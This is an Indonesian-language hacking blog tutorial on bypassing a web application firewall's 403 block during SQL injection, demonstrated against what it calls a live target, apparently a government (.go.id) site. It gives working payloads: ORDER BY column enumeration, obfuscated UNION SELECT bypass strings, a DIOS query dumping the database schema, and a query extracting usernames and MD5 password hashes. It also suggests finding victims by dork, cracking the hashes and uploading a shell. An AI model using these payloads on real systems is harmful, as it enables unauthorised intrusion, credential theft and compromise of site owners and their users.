Cara SQL Injection bypass 403
Halo gan balik lagi sama admin Fooster, kali ini saya akan membagikan tutor SQL Injection bypass 403 forbidden
Jika kalian tidak mengerti pemahaman SQL Injection bisa baca dari Sini
403 forbidden biasanya terjadi karena keamanan website mendektesi ada serangan SQL Injection, jadi otomatis mereka memblokir serangan tersebut namun para hacker sudah menemukan solusi untuk keamanan yaitu dengan Bypass WAF.
Disini gw dah ada live target, jadi langsung aja (bagi yang belum mempunyai target bisa cari dengan dork, banyak di google).
Setelah itu beri tanda kutip (') pada akhir parameter
contoh : berita.php?id=1'
Jika website seperti digambar sebagian konten/teks hilang kemungkinan vuln ada juga yang menampilkan pesan error atau gambar yang diwebsite rusak.
Setelah itu kita langsung aja eksekusi
1. Order by +
Masukan command order by pada akhir url hingga error
contoh : https://xxx.go.id/berita.php?id=1' order by 1 --+ atau jika masih eror hilangkan tanda kutip (')
Lalu ubah angka 1 menjadi angka seterusnya hingga error
contoh :
https://xxx.go.id/berita.php?id=1' order by 1 --+ > normal
https://xxx.go.id/berita.php?id=1' order by 2 --+ > normal
https://xxx.go.id/berita.php?id=1' order by 3 --+ > normal
https://xxx.go.id/berita.php?id=1' order by 4 --+ > normal
https://xxx.go.id/berita.php?id=1' order by 5 --+ > normal
https://xxx.go.id/berita.php?id=1' order by 6 --+ > normal
https://xxx.go.id/berita.php?id=1' order by 7 --+ > error
2. union select
Jika sudah menemukan angka yang error, selanjutnya masukan command union select.
contoh : https://xxx.go.id/berita.php?id=-1' union select 1,2,3,4,5,6 --+ (sampai sebelum angka error), lupa tambahkan tanda (-) pada sebelum param.
disini saya terkena Forbidden artinya website mendektesi serangan SQL Injection yang saya lakukan.
Disini solusinya adalah mengganti command union select dengan yang sudah dibuat untuk Bypass forbidden beberapa command union select untuk bypass :
/*!50000UnIoN*/ /*!50000SeLeCt*/
/**//*!12345UNION SELECT*//**/
/*!UNION*/+/*!SELECT*/
contoh : https://xxx.go.id/berita.php?id=1' /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2,3,4,5,6 --+
Jika berhasil akan tampil nomor ajaib
3. Dios
Disini kita akan mendump table dari database.
Jika menggunakan DIOS biasa mungkin akan terkena Forbidden lagi disini saya akan memakai Dios yang ada di internet :
concat(0x466F6F737465722F6E666578,version(),0x3c62723e,user(),0x3c62723e,database(),0x3c62723e,@c:=0x00,if((select count(*) from information_schema.columns where table_schema not like 0x696e666f726d6174696f6e5f736368656d61 and @c:=concat(@c,0x3c62723e,table_name,0x2e,column_name)),0x00,0x00),@c)
jika sudah letakkan Dios pada angka yang muncul di website
contoh : https://xxx.go.id/berita.php?id=1' /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,concat(0x466F6F737465722F6E666578,version(),0x3c62723e,user(),0x3c62723e,database(),0x3c62723e,@c:=0x00,if((select count(*) from information_schema.columns where table_schema not like 0x696e666f726d6174696f6e5f736368656d61 and @c:=concat(@c,0x3c62723e,table_name,0x2e,column_name)),0x00,0x00),@c)3,4,5,6 --+
Jika berhasil maka column dan table dari database akan muncul.
4. Dump username and password
Disini saya akan mendump username dan password yang berasal dari column tb_user
Disini kalian bisa dump dengan code dios berikut :
group_concat(table_name,0x3a,table_name) 1,2,3,4,5,6 +from+column_name--+
contoh : https://xxx.go.id/berita.php?id=1' /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,group_concat(username,0x3a,password),3,4,5,6+from+tb_user--+
And Boom kita berhasil mendump username dan password
Disini tipe hashnya adalah md5 kalian bisa decrypt disini
Jika sudah kalian bisa mencari admin login terus mengupload shell disini saya tidak menemukan admin loginnya hehe.
Ok mungkin itu aja yang bisa gw sampaikan, jika ada kesalahan mohon perbaikannya
Keep calm and Exploit!
Post a Comment